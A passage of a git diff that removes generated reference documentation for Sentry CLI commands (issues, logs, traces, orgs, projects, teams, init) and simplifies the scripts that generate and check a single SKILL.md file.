(app.js:89:12) - at HTMLButtonElement.onclick (app.js:45:8) - -Tags: - browser: Chrome 120 - os: Windows 10 - environment: production - release: 1.2.3 - -Context: - url: https://example.com/app - user_id: 12345 -``` - -## Finding Event IDs - -Event IDs can be found: - -1. In the Sentry UI when viewing an issue's events -2. In the output of `sentry issue view` commands -3. In error reports sent to Sentry (as `event_id`) - -## Workflows - -### Investigate an error event -1. Find the event ID from `sentry issue view ` output -2. View event details: `sentry event view ` -3. Open in browser for full stack trace: `sentry event view -w` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/init.md b/plugins/sentry-cli/skills/sentry-cli/references/init.md deleted file mode 100644 index b496a836..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/init.md +++ /dev/null @@ -1,59 +0,0 @@ -# Init Commands - -Initialize Sentry in your project - -## `sentry init ` - -Initialize Sentry in your project - -**Flags:** -- `--force - Continue even if Sentry is already installed` -- `-y, --yes - Non-interactive mode (accept defaults)` -- `--dry-run - Preview changes without applying them` -- `--features - Comma-separated features: errors,tracing,logs,replay,metrics` - -**Examples:** - -```bash -# Run the wizard in the current directory -sentry init - -# Target a subdirectory -sentry init ./my-app - -# Preview what changes would be made -sentry init --dry-run - -# Select specific features -sentry init --features errors,tracing,logs - -# Non-interactive mode (accept all defaults) -sentry init --yes -``` - -## What the wizard does - -1. **Detects your framework** — scans your project files to identify the platform and framework -2. **Installs the SDK** — adds the appropriate Sentry SDK package to your project -3. **Instruments your code** — configures error monitoring, tracing, and any selected features - -## Supported platforms - -The wizard currently supports: - -- **JavaScript / TypeScript** — Next.js, Express, SvelteKit, React -- **Python** — Flask, FastAPI - -More platforms and frameworks are coming soon. - -## Workflows - -### Set up a new project -1. Navigate to project: `cd my-app` -2. Authenticate: `sentry auth login` -3. Preview changes: `sentry init --dry-run` -4. Run the wizard: `sentry init` - -### Non-interactive CI setup -1. `sentry auth login --token $SENTRY_TOKEN` -2. `sentry init --yes --features errors,tracing` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/issue.md b/plugins/sentry-cli/skills/sentry-cli/references/issue.md deleted file mode 100644 index 13dd3f02..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/issue.md +++ /dev/null @@ -1,201 +0,0 @@ -# Issue Commands - -Manage Sentry issues - -## `sentry issue list ` - -List issues in a project - -**Flags:** -- `-q, --query - Search query (Sentry search syntax)` -- `-n, --limit - Maximum number of issues to list - (default: "25")` -- `-s, --sort - Sort by: date, new, freq, user - (default: "date")` -- `-t, --period - Time period for issue activity (e.g. 24h, 14d, 90d) - (default: "90d")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor for / or multi-target modes (use "last" to continue)` - -**Examples:** - -```bash -# Explicit org and project -sentry issue list / - -# All projects in an organization -sentry issue list / - -# Search for project across all accessible orgs -sentry issue list - -# Auto-detect from DSN or config -sentry issue list - -# List issues in a specific project -sentry issue list my-org/frontend - -sentry issue list my-org/ - -sentry issue list frontend - -sentry issue list my-org/frontend --query "TypeError" - -sentry issue list my-org/frontend --sort freq --limit 20 - -# Show only unresolved issues -sentry issue list my-org/frontend --query "is:unresolved" - -# Show resolved issues -sentry issue list my-org/frontend --query "is:resolved" - -# Combine with other search terms -sentry issue list my-org/frontend --query "is:unresolved TypeError" -``` - -**Expected output:** - -``` -ID SHORT ID TITLE COUNT USERS -123456789 FRONT-ABC TypeError: Cannot read prop... 1.2k 234 -987654321 FRONT-DEF ReferenceError: x is not de... 456 89 -``` - -## `sentry issue explain ` - -Analyze an issue's root cause using Seer AI - -**Requirements:** - -- Seer AI enabled for your organization -- GitHub integration configured with repository access -- Code mappings set up to link stack frames to source files - -**Flags:** -- `--json - Output as JSON` -- `--force - Force new analysis even if one exists` - -**Examples:** - -```bash -sentry issue explain - -# By numeric issue ID -sentry issue explain 123456789 - -# By short ID with org prefix -sentry issue explain my-org/MYPROJECT-ABC - -# By project-suffix format -sentry issue explain myproject-G - -# Force a fresh analysis -sentry issue explain 123456789 --force -``` - -## `sentry issue plan ` - -Generate a solution plan using Seer AI - -Generate a solution plan for a Sentry issue using Seer AI. - -**Requirements:** - -- Root cause analysis must be completed first (`sentry issue explain`) -- GitHub integration configured for your organization -- Code mappings set up for your project - -**Flags:** -- `--cause - Root cause ID to plan (required if multiple causes exist)` -- `--json - Output as JSON` -- `--force - Force new plan even if one exists` - -**Examples:** - -```bash -sentry issue plan - -# After running explain, create a plan -sentry issue plan 123456789 - -# Specify which root cause to plan for (if multiple were found) -sentry issue plan 123456789 --cause 0 - -# By short ID with org prefix -sentry issue plan my-org/MYPROJECT-ABC --cause 1 - -# By project-suffix format -sentry issue plan myproject-G --cause 0 -``` - -## `sentry issue view ` - -View details of a specific issue - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` -- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` - -**Examples:** - -```bash -# By issue ID -sentry issue view - -# By short ID -sentry issue view - -sentry issue view FRONT-ABC - -sentry issue view FRONT-ABC -w -``` - -**Expected output:** - -``` -Issue: TypeError: Cannot read property 'foo' of undefined -Short ID: FRONT-ABC -Status: unresolved -First seen: 2024-01-15 10:30:00 -Last seen: 2024-01-20 14:22:00 -Events: 1,234 -Users affected: 234 - -Latest event: - Browser: Chrome 120 - OS: Windows 10 - URL: https://example.com/app -``` - -## Shortcuts - -- `sentry issues` → shortcut for `sentry issue list` (accepts the same flags) - -## Workflows - -### Diagnose a production issue -1. Find the issue: `sentry issue list / --query "is:unresolved" --sort freq` -2. View details: `sentry issue view ` -3. Get AI root cause: `sentry issue explain ` -4. Get fix plan: `sentry issue plan ` -5. Open in browser for full context: `sentry issue view -w` - -### Triage recent regressions -1. List new issues: `sentry issue list / --sort new --period 24h` -2. Check frequency: `sentry issue list / --sort freq --limit 5` -3. Investigate top issue: `sentry issue view ` -4. Explain root cause: `sentry issue explain ` - -## Common Queries - -- Unresolved errors: `--query "is:unresolved"` -- Specific error type: `--query "TypeError"` -- By environment: `--query "environment:production"` -- Assigned to me: `--query "assigned:me"` -- Recent issues: `--period 24h` -- Most frequent: `--sort freq --limit 10` -- Combined: `--query "is:unresolved environment:production" --sort freq` - -## JSON Recipes - -- Extract issue titles: `sentry issue list / --json | jq '.[].title'` -- Get issue counts: `sentry issue list / --json | jq '.[].count'` -- List unresolved as CSV: `sentry issue list / --json --query "is:unresolved" | jq -r '.[] | [.shortId, .title, .count] | @csv'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/log.md b/plugins/sentry-cli/skills/sentry-cli/references/log.md deleted file mode 100644 index e4ba1e8e..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/log.md +++ /dev/null @@ -1,175 +0,0 @@ -# Log Commands - -View Sentry logs - -## `sentry log list ` - -List logs from a project - -**Flags:** -- `-n, --limit - Number of log entries (1-1000) - (default: "100")` -- `-q, --query - Filter query (Sentry search syntax)` -- `-f, --follow - Stream logs (optionally specify poll interval in seconds)` -- `--json - Output as JSON` - -**Examples:** - -```bash -# Auto-detect from DSN or config -sentry log list - -# Explicit org and project -sentry log list / - -# Search for project across all accessible orgs -sentry log list - -# List last 100 logs (default) -sentry log list - -# Stream with default 2-second poll interval -sentry log list -f - -# Stream with custom 5-second poll interval -sentry log list -f 5 - -# Show only error logs -sentry log list -q 'level:error' - -# Filter by message content -sentry log list -q 'database' - -# Show last 50 logs -sentry log list --limit 50 - -# Show last 500 logs -sentry log list -n 500 - -# Stream error logs from a specific project -sentry log list my-org/backend -f -q 'level:error' -``` - -**Expected output:** - -``` -TIMESTAMP LEVEL MESSAGE -2024-01-20 14:22:01 info User login successful -2024-01-20 14:22:03 debug Processing request for /api/users -2024-01-20 14:22:05 error Database connection timeout -2024-01-20 14:22:06 warn Retry attempt 1 of 3 - -Showing 4 logs. -``` - -## `sentry log view ` - -View details of a specific log entry - -In streaming mode with `--json`, each log entry is output as a separate JSON object (newline-delimited JSON), making it suitable for piping to other tools. - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` - -**Examples:** - -```bash -# Auto-detect from DSN or config -sentry log view - -# Explicit org and project -sentry log view / - -# Search for project across all accessible orgs -sentry log view - -sentry log view 968c763c740cfda8b6728f27fb9e9b01 - -sentry log view 968c763c740cfda8b6728f27fb9e9b01 -w - -sentry log view my-org/backend 968c763c740cfda8b6728f27fb9e9b01 - -sentry log list --json | jq '.[] | select(.level == "error")' -``` - -**Expected output:** - -``` -Log 968c763c740c... -════════════════════ - -ID: 968c763c740cfda8b6728f27fb9e9b01 -Timestamp: 2024-01-20 14:22:05 -Severity: ERROR - -Message: - Database connection timeout after 30s - -─── Context ─── - -Project: backend -Environment: production -Release: 1.2.3 - -─── SDK ─── - -SDK: sentry.python 1.40.0 - -─── Trace ─── - -Trace ID: abc123def456abc123def456abc12345 -Span ID: 1234567890abcdef -Link: https://sentry.io/organizations/my-org/explore/traces/abc123... - -─── Source Location ─── - -Function: connect_to_database -File: src/db/connection.py:142 -``` - -## Shortcuts - -- `sentry logs` → shortcut for `sentry log list` (accepts the same flags) - -## Finding Log IDs - -Log IDs can be found: - -1. In the output of `sentry log list` (shown as trace IDs in brackets) -2. In the Sentry UI when viewing log entries -3. In the `sentry.item_id` field of JSON output - -## JSON Output - -Use `--json` for machine-readable output: - -```bash -sentry log list --json | jq '.[] | select(.level == "error")' -``` - -In streaming mode with `--json`, each log entry is output as a separate JSON object (newline-delimited JSON), making it suitable for piping to other tools. - -## Workflows - -### Monitor production logs -1. Stream all logs: `sentry log list -f` -2. Filter to errors only: `sentry log list -f -q 'level:error'` -3. Investigate a specific log: `sentry log view ` - -### Debug a specific issue -1. Filter by message content: `sentry log list -q 'database timeout'` -2. View error details: `sentry log view ` -3. Check related trace: follow the Trace ID from the log view output - -## Common Queries - -- Error logs only: `-q 'level:error'` -- Warning and above: `-q 'level:warning'` -- By message content: `-q 'database'` -- Limit results: `--limit 50` -- Stream with interval: `-f 5` (poll every 5 seconds) - -## JSON Recipes - -- Extract error messages: `sentry log list --json -q 'level:error' | jq '.[].message'` -- Filter by level in JSON: `sentry log list --json | jq '.[] | select(.level == "error")'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/org.md b/plugins/sentry-cli/skills/sentry-cli/references/org.md deleted file mode 100644 index 173a29a8..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/org.md +++ /dev/null @@ -1,66 +0,0 @@ -# Org Commands - -Work with Sentry organizations - -## `sentry org list` - -List organizations - -List all organizations you have access to. - -**Flags:** -- `-n, --limit - Maximum number of organizations to list - (default: "30")` -- `--json - Output JSON` - -**Examples:** - -```bash -sentry org list - -sentry org list --json -``` - -**Expected output:** - -``` -SLUG NAME ROLE -my-org My Organization owner -another-org Another Org member -``` - -## `sentry org view ` - -View details of an organization - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` - -**Examples:** - -```bash -sentry org view - -sentry org view my-org - -sentry org view my-org -w -``` - -**Expected output:** - -``` -Organization: My Organization -Slug: my-org -Role: owner -Projects: 5 -Teams: 3 -Members: 12 -``` - -## Shortcuts - -- `sentry orgs` → shortcut for `sentry org list` (accepts the same flags) - -## JSON Recipes - -- Get org slugs: `sentry org list --json | jq '.[].slug'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/project.md b/plugins/sentry-cli/skills/sentry-cli/references/project.md deleted file mode 100644 index 55348abc..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/project.md +++ /dev/null @@ -1,79 +0,0 @@ -# Project Commands - -Work with Sentry projects - -## `sentry project list ` - -List projects - -**Flags:** -- `-n, --limit - Maximum number of projects to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` -- `-p, --platform - Filter by platform (e.g., javascript, python)` - -**Examples:** - -```bash -# List all projects -sentry project list - -# List projects in a specific organization -sentry project list - -# Filter by platform -sentry project list --platform javascript -``` - -**Expected output:** - -``` -ORG SLUG PLATFORM TEAM -my-org frontend javascript web-team -my-org backend python api-team -my-org mobile-ios cocoa mobile-team -``` - -## `sentry project view ` - -View details of a project - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` - -**Examples:** - -```bash -# Auto-detect from DSN or config -sentry project view - -# Explicit org and project -sentry project view / - -# Find project across all orgs -sentry project view - -sentry project view my-org/frontend - -sentry project view my-org/frontend -w -``` - -**Expected output:** - -``` -Project: frontend -Organization: my-org -Platform: javascript -Team: web-team -DSN: https://abc123@sentry.io/123456 -``` - -## Shortcuts - -- `sentry projects` → shortcut for `sentry project list` (accepts the same flags) - -## JSON Recipes - -- List project slugs: `sentry project list --json | jq '.[].slug'` -- Filter by platform: `sentry project list --platform python --json | jq '.[].name'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/repo.md b/plugins/sentry-cli/skills/sentry-cli/references/repo.md deleted file mode 100644 index 2451676a..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/repo.md +++ /dev/null @@ -1,28 +0,0 @@ -# Repo Commands - -Work with Sentry repositories - -## `sentry repo list ` - -List repositories - -**Flags:** -- `-n, --limit - Maximum number of repositories to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` - -## Shortcuts - -- `sentry repos` → shortcut for `sentry repo list` (accepts the same flags) - -## Workflows - -### Check linked repositories -1. List repos: `sentry repo list` -2. Get details as JSON: `sentry repo list --json` -3. Use the API for more details: `sentry api /organizations//repos/` - -## JSON Recipes - -- Get repo names: `sentry repo list --json | jq '.[].name'` -- Get repo providers: `sentry repo list --json | jq '.[] | {name, provider}'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/team.md b/plugins/sentry-cli/skills/sentry-cli/references/team.md deleted file mode 100644 index abcb6658..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/team.md +++ /dev/null @@ -1,52 +0,0 @@ -# Team Commands - -Work with Sentry teams - -## `sentry team list ` - -List teams - -**Flags:** -- `-n, --limit - Maximum number of teams to list - (default: "30")` -- `--json - Output JSON` -- `-c, --cursor - Pagination cursor (use "last" to continue from previous page)` - -**Examples:** - -```bash -# Auto-detect organization or list all -sentry team list - -# List teams in a specific organization -sentry team list - -# Limit results -sentry team list --limit 10 - -sentry team list --json -``` - -**Expected output:** - -``` -ORG SLUG NAME MEMBERS -my-org backend Backend Team 8 -my-org frontend Frontend Team 5 -my-org mobile Mobile Team 3 -``` - -## Shortcuts - -- `sentry teams` → shortcut for `sentry team list` (accepts the same flags) - -## Workflows - -### Find teams and their projects -1. List teams: `sentry team list` -2. Get team details via API: `sentry api /teams///` -3. List team projects: `sentry api /teams///projects/` - -## JSON Recipes - -- Get team slugs: `sentry team list --json | jq '.[].slug'` -- Count teams: `sentry team list --json | jq 'length'` diff --git a/plugins/sentry-cli/skills/sentry-cli/references/trace.md b/plugins/sentry-cli/skills/sentry-cli/references/trace.md deleted file mode 100644 index bd9060ed..00000000 --- a/plugins/sentry-cli/skills/sentry-cli/references/trace.md +++ /dev/null @@ -1,50 +0,0 @@ -# Trace Commands - -View distributed traces - -## `sentry trace list ` - -List recent traces in a project - -**Flags:** -- `-n, --limit - Number of traces (1-1000) - (default: "20")` -- `-q, --query - Search query (Sentry search syntax)` -- `-s, --sort - Sort by: date, duration - (default: "date")` -- `--json - Output as JSON` - -## `sentry trace view ` - -View details of a specific trace - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open in browser` -- `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` - -## `sentry trace logs ` - -View logs associated with a trace - -**Flags:** -- `--json - Output as JSON` -- `-w, --web - Open trace in browser` -- `-t, --period - Time period to search (e.g., "14d", "7d", "24h"). Default: 14d - (default: "14d")` -- `-n, --limit - Number of log entries (1-1000) - (default: "100")` -- `-q, --query - Additional filter query (Sentry search syntax)` - -## Shortcuts - -- `sentry traces` → shortcut for `sentry trace list` (accepts the same flags) - -## Workflows - -### Investigate slow requests -1. List recent traces: `sentry trace list --sort duration` -2. View slowest trace: `sentry trace view ` -3. Open in browser for waterfall view: `sentry trace view -w` - -## Common Queries - -- Sort by duration: `--sort duration` -- Search traces: `--query "http.method:GET"` -- Limit results: `--limit 50` diff --git a/script/check-skill.ts b/script/check-skill.ts index 34aa906c..413cd081 100644 --- a/script/check-skill.ts +++ b/script/check-skill.ts @@ -1,132 +1,41 @@ #!/usr/bin/env bun /** - * Check Skill Files for Staleness + * Check SKILL.md for Staleness * - * Compares committed skill files against freshly generated content. - * Checks the index SKILL.md, all reference files, and index.json. + * Compares the committed SKILL.md against freshly generated content. * * Usage: * bun run script/check-skill.ts * * Exit codes: - * 0 - All skill files are up to date - * 1 - One or more skill files are stale + * 0 - SKILL.md is up to date + * 1 - SKILL.md is stale */ -import { readdirSync } from "node:fs"; import { $ } from "bun"; -const SKILL_DIR = "plugins/sentry-cli/skills/sentry-cli"; -const INDEX_JSON_PATH = "docs/public/.well-known/skills/index.json"; +const SKILL_PATH = "plugins/sentry-cli/skills/sentry-cli/SKILL.md"; -/** - * Recursively collect all files under a directory, returning paths relative to the base. - */ -function collectFiles(dir: string, base = dir): string[] { - const files: string[] = []; - for (const entry of readdirSync(dir, { withFileTypes: true })) { - const fullPath = `${dir}/${entry.name}`; - if (entry.isDirectory()) { - files.push(...collectFiles(fullPath, base)); - } else { - files.push(fullPath.slice(base.length + 1)); - } - } - return files.sort(); -} - -/** - * Read file content, returning empty string if it doesn't exist. - */ -async function readFileContent(path: string): Promise { - const file = Bun.file(path); - return (await file.exists()) ? await file.text() : ""; -} - -// Snapshot committed state -const committedSkillFiles = collectFiles(SKILL_DIR); -const committedContents = new Map(); -for (const relPath of committedSkillFiles) { - committedContents.set( - relPath, - await readFileContent(`${SKILL_DIR}/${relPath}`) - ); -} -const committedIndexJson = await readFileContent(INDEX_JSON_PATH); +// Read the current committed file +const committedFile = Bun.file(SKILL_PATH); +const committedContent = (await committedFile.exists()) + ? await committedFile.text() + : ""; // Generate fresh content await $`bun run script/generate-skill.ts`.quiet(); -// Snapshot generated state -const generatedSkillFiles = collectFiles(SKILL_DIR); -const generatedContents = new Map(); -for (const relPath of generatedSkillFiles) { - generatedContents.set( - relPath, - await readFileContent(`${SKILL_DIR}/${relPath}`) - ); -} -const generatedIndexJson = await readFileContent(INDEX_JSON_PATH); +// Read the newly generated content +const newContent = await Bun.file(SKILL_PATH).text(); // Compare -const staleFiles: string[] = []; -const missingFiles: string[] = []; -const extraFiles: string[] = []; - -// Check for files that should exist but are missing or stale -for (const relPath of generatedSkillFiles) { - if (!committedContents.has(relPath)) { - missingFiles.push(relPath); - } else if (committedContents.get(relPath) !== generatedContents.get(relPath)) { - staleFiles.push(relPath); - } -} - -// Check for files that exist but shouldn't -for (const relPath of committedSkillFiles) { - if (!generatedContents.has(relPath)) { - extraFiles.push(relPath); - } -} - -// Check index.json -if (committedIndexJson !== generatedIndexJson) { - staleFiles.push("docs/public/.well-known/skills/index.json"); -} - -const hasIssues = - staleFiles.length > 0 || missingFiles.length > 0 || extraFiles.length > 0; - -if (!hasIssues) { - console.log("✓ All skill files are up to date"); +if (committedContent === newContent) { + console.log("✓ SKILL.md is up to date"); process.exit(0); } -// Report issues -console.error("✗ Skill files are out of date"); -console.error(""); - -if (staleFiles.length > 0) { - console.error("Stale files:"); - for (const f of staleFiles) { - console.error(` - ${f}`); - } -} - -if (missingFiles.length > 0) { - console.error("Missing files:"); - for (const f of missingFiles) { - console.error(` - ${f}`); - } -} - -if (extraFiles.length > 0) { - console.error("Extra files (should be removed):"); - for (const f of extraFiles) { - console.error(` - ${f}`); - } -} - +// Files differ +console.error("✗ SKILL.md is out of date"); console.error(""); console.error("Run 'bun run generate:skill' locally and commit the changes."); diff --git a/script/generate-skill.ts b/script/generate-skill.ts index 5e4f422d..41707f71 100644 --- a/script/generate-skill.ts +++ b/script/generate-skill.ts @@ -1,43 +1,22 @@ #!/usr/bin/env bun /** - * Generate skill files from Stricli Command Metadata and Docs + * Generate SKILL.md from Stricli Command Metadata and Docs * * Introspects the CLI's route tree and merges with documentation * to generate structured documentation for AI agents. * - * Produces: - * - SKILL.md (index with command table + links) - * - references/*.md (per-command-group reference files) - * - index.json (file manifest for remote installation) - * * Usage: * bun run script/generate-skill.ts * * Output: - * plugins/sentry-cli/skills/sentry-cli/ - * docs/public/.well-known/skills/index.json + * plugins/sentry-cli/skills/sentry-cli/SKILL.md */ -import { mkdirSync, readdirSync, rmSync } from "node:fs"; import { routes } from "../src/app.js"; -const OUTPUT_DIR = "plugins/sentry-cli/skills/sentry-cli"; -const REFERENCES_DIR = `${OUTPUT_DIR}/references`; -const INDEX_JSON_PATH = "docs/public/.well-known/skills/index.json"; +const OUTPUT_PATH = "plugins/sentry-cli/skills/sentry-cli/SKILL.md"; const DOCS_PATH = "docs/src/content/docs"; -/** Map shortcut commands to their parent reference file */ -const SHORTCUT_TO_PARENT: Record = { - issues: "issue", - orgs: "org", - projects: "project", - repos: "repo", - teams: "team", - logs: "log", - traces: "trace", - whoami: "auth", -}; - /** Regex to match YAML frontmatter at the start of a file */ const FRONTMATTER_REGEX = /^---\n[\s\S]*?\n---\n/; @@ -135,8 +114,7 @@ function stripMdxComponents(markdown: string): string { } /** - * Extract a specific section from markdown by heading. - * Correctly skips headings inside fenced code blocks. + * Extract a specific section from markdown by heading */ function extractSection(markdown: string, heading: string): string | null { // Match heading at any level (##, ###, etc.) @@ -153,51 +131,18 @@ function extractSection(markdown: string, heading: string): string | null { const headingLevel = match[1].length; const startIndex = match.index + match[0].length; - // Find the next heading of same or higher level, skipping code blocks + // Find the next heading of same or higher level + const nextHeadingPattern = new RegExp(`^#{1,${headingLevel}}\\s+`, "m"); const remainingContent = markdown.slice(startIndex); - const nextHeadingIndex = findNextHeadingOutsideCode( - remainingContent, - headingLevel - ); + const nextMatch = remainingContent.match(nextHeadingPattern); - const endIndex = - nextHeadingIndex !== -1 - ? startIndex + nextHeadingIndex - : markdown.length; + const endIndex = nextMatch?.index + ? startIndex + nextMatch.index + : markdown.length; return markdown.slice(startIndex, endIndex).trim(); } -/** - * Find the index of the next markdown heading at or above a given level, - * skipping over fenced code blocks. - * Returns -1 if no such heading is found. - */ -function findNextHeadingOutsideCode( - content: string, - maxLevel: number -): number { - const lines = content.split("\n"); - let inCodeBlock = false; - let offset = 0; - - for (const line of lines) { - // Toggle code fence state - if (line.trimStart().startsWith("```")) { - inCodeBlock = !inCodeBlock; - } else if (!inCodeBlock) { - // Check if this line is a heading at or above the target level - const headingMatch = line.match(/^(#{1,6})\s+/); - if (headingMatch && headingMatch[1].length <= maxLevel) { - return offset; - } - } - offset += line.length + 1; // +1 for newline - } - - return -1; -} - /** * Extract all code blocks from markdown */ @@ -390,198 +335,18 @@ const COMMAND_SECTION_REGEX = /###\s+`(sentry\s+\S+(?:\s+\S+)?)`\s*\n([\s\S]*?)(?=###\s+`|$)/g; /** - * Extract prose description from a command section (text between heading and first code block). - * Filters out option/argument tables and metadata headers. - */ -function extractCommandProse(sectionContent: string): string | null { - const firstCodeBlock = sectionContent.indexOf("```"); - if (firstCodeBlock === -1) { - // No code blocks — the whole section is prose - const prose = sectionContent.trim(); - return prose || null; - } - - const prose = sectionContent.slice(0, firstCodeBlock).trim(); - // Filter out lines that are just table headers, argument descriptions, or metadata - const lines = prose.split("\n"); - const filtered: string[] = []; - let inTable = false; - - for (const line of lines) { - if ( - line.startsWith("|") || - line.startsWith("**Arguments:**") || - line.startsWith("**Options:**") || - line.startsWith("**Option") - ) { - inTable = true; - continue; - } - if (inTable && (line.startsWith("|") || line.trim() === "")) { - if (line.trim() === "") inTable = false; - continue; - } - if (inTable) { - inTable = false; - } - if (line.trim()) { - filtered.push(line); - } - } - - const result = filtered.join("\n").trim(); - return result || null; -} - -/** - * Extract trailing prose from a command section (text after the last code block). - * This captures content like "Requirements:" lists that appear at the end. - * Filters out duplicate option/argument tables. - */ -function extractTrailingProse(sectionContent: string): string | null { - // Find the last code block end - const pattern = new RegExp(CODE_BLOCK_REGEX.source, CODE_BLOCK_REGEX.flags); - let lastEnd = -1; - let match = pattern.exec(sectionContent); - while (match !== null) { - lastEnd = match.index + match[0].length; - match = pattern.exec(sectionContent); - } - - if (lastEnd === -1) return null; - - const trailing = sectionContent.slice(lastEnd).trim(); - if (!trailing || trailing.length <= 20) return null; - - // Filter out option/argument tables and stop at ## headings - // (supplementary sections are handled separately) - const lines = trailing.split("\n"); - const filtered: string[] = []; - let inTable = false; - - for (const line of lines) { - // Stop at ## headings — these are supplementary sections - if (/^##\s+/.test(line)) break; - - // Skip table rows and option/argument headers - if (line.startsWith("|") || line.startsWith("**Arguments:**") || line.startsWith("**Options:**")) { - inTable = true; - continue; - } - if (inTable && (line.startsWith("|") || line.trim() === "")) { - if (line.trim() === "") inTable = false; - continue; - } - if (inTable) { - inTable = false; - } - filtered.push(line); - } - - const result = filtered.join("\n").trim(); - return result && result.length > 20 ? result : null; -} - -/** - * Extract output examples (non-bash code blocks) from a command section. - * These are code blocks without a language or with empty language that show expected output. - */ -function extractOutputExamples(sectionContent: string): string[] { - const blocks: string[] = []; - const pattern = new RegExp(CODE_BLOCK_REGEX.source, CODE_BLOCK_REGEX.flags); - - let match = pattern.exec(sectionContent); - while (match !== null) { - const lang = match[1] || ""; - const code = match[2].trim(); - // Capture blocks that have no language specifier (output examples) - if (lang === "" && code) { - blocks.push(code); - } - match = pattern.exec(sectionContent); - } - - return blocks; -} - -/** - * Extract supplementary sections from a doc file. - * These are top-level sections (## heading) that appear after the command sections, - * like "Finding Event IDs", "Finding Log IDs", "JSON Output", "Release Channels", etc. - * Correctly skips headings inside fenced code blocks. + * Load examples for a specific command from docs */ -function extractSupplementarySections( - docContent: string -): { heading: string; content: string }[] { - const sections: { heading: string; content: string }[] = []; - - // Match ## headings that are NOT "Commands", "Usage", "Examples", "Options", "Notes" - const skipHeadings = new Set([ - "Commands", - "Usage", - "Examples", - "Options", - "Notes", - "API Documentation", - "Configuration", - ]); - - // Find ## headings outside of code blocks - const headings: { heading: string; index: number }[] = []; - const lines = docContent.split("\n"); - let inCodeBlock = false; - let offset = 0; - - for (const line of lines) { - if (line.trimStart().startsWith("```")) { - inCodeBlock = !inCodeBlock; - } else if (!inCodeBlock) { - const headingMatch = line.match(/^##\s+(.+)$/); - if (headingMatch) { - headings.push({ heading: headingMatch[1].trim(), index: offset }); - } - } - offset += line.length + 1; - } - - for (let i = 0; i < headings.length; i++) { - const { heading, index } = headings[i]; - if (skipHeadings.has(heading)) { - continue; - } - // Also skip command-level headings - if (heading.startsWith("`sentry")) { - continue; - } - - const startIndex = index + docContent.slice(index).indexOf("\n") + 1; - const endIndex = - i + 1 < headings.length ? headings[i + 1].index : docContent.length; - const content = docContent.slice(startIndex, endIndex).trim(); +async function loadCommandExamples( + commandGroup: string +): Promise> { + const docContent = await loadDoc(`commands/${commandGroup}.md`); + const examples = new Map(); - if (content) { - sections.push({ heading, content }); - } + if (!docContent) { + return examples; } - return sections; -} - -type DocExamples = { - examples: Map; - prose: Map; - outputExamples: Map; - supplementary: { heading: string; content: string }[]; -}; - -/** - * Parse command sections from doc content, extracting examples, prose, and output examples. - */ -function parseDocContent(docContent: string): DocExamples { - const examples = new Map(); - const prose = new Map(); - const outputExamples = new Map(); - // Find all command sections (### `sentry ...`) const commandPattern = new RegExp( COMMAND_SECTION_REGEX.source, @@ -601,152 +366,10 @@ function parseDocContent(docContent: string): DocExamples { codeBlocks.map((b) => b.code) ); } - - // Extract prose description (before first code block + after last code block) - const leadingProse = extractCommandProse(sectionContent); - const trailingProse = extractTrailingProse(sectionContent); - const combinedProse = [leadingProse, trailingProse] - .filter(Boolean) - .join("\n\n"); - if (combinedProse) { - prose.set(commandPath, combinedProse); - } - - // Extract output examples - const outputs = extractOutputExamples(sectionContent); - if (outputs.length > 0) { - outputExamples.set(commandPath, outputs); - } - match = commandPattern.exec(docContent); } - // Extract supplementary sections - const supplementary = extractSupplementarySections(docContent); - - return { examples, prose, outputExamples, supplementary }; -} - -/** - * Load and parse docs for a specific command group. - * Handles both single-file (commands/auth.md) and subdirectory (commands/cli/*.md) layouts. - */ -async function loadCommandDocs(commandGroup: string): Promise { - const result: DocExamples = { - examples: new Map(), - prose: new Map(), - outputExamples: new Map(), - supplementary: [], - }; - - // Try loading single doc file (e.g., commands/auth.md) - const docContent = await loadDoc(`commands/${commandGroup}.md`); - - if (docContent) { - const parsed = parseDocContent(docContent); - for (const [k, v] of parsed.examples) result.examples.set(k, v); - for (const [k, v] of parsed.prose) result.prose.set(k, v); - for (const [k, v] of parsed.outputExamples) - result.outputExamples.set(k, v); - result.supplementary.push(...parsed.supplementary); - - // For docs that use flat ## Usage / ## Examples sections (not ### `sentry ...`) - // e.g., init.md — extract examples for the top-level command - const commandPath = `sentry ${commandGroup}`; - if (!result.examples.has(commandPath)) { - // Prefer ## Examples over ## Usage for richer content - for (const sectionName of ["Examples", "Usage"]) { - const section = extractSection(docContent, sectionName); - if (section) { - const codeBlocks = extractCodeBlocks(section, "bash"); - if (codeBlocks.length > 0) { - result.examples.set( - commandPath, - codeBlocks.map((b) => b.code) - ); - break; - } - } - } - } - } - - // Try loading from subdirectory (e.g., commands/cli/feedback.md, commands/cli/upgrade.md) - const subDirPath = `${DOCS_PATH}/commands/${commandGroup}`; - try { - const entries = readdirSync(subDirPath, { withFileTypes: true }); - for (const entry of entries) { - if ( - !entry.isFile() || - !entry.name.endsWith(".md") || - entry.name === "index.md" - ) { - continue; - } - - const subDocContent = await loadDoc( - `commands/${commandGroup}/${entry.name}` - ); - if (!subDocContent) continue; - - // For subdirectory docs, command sections use ### `sentry cli upgrade` etc. - const parsed = parseDocContent(subDocContent); - for (const 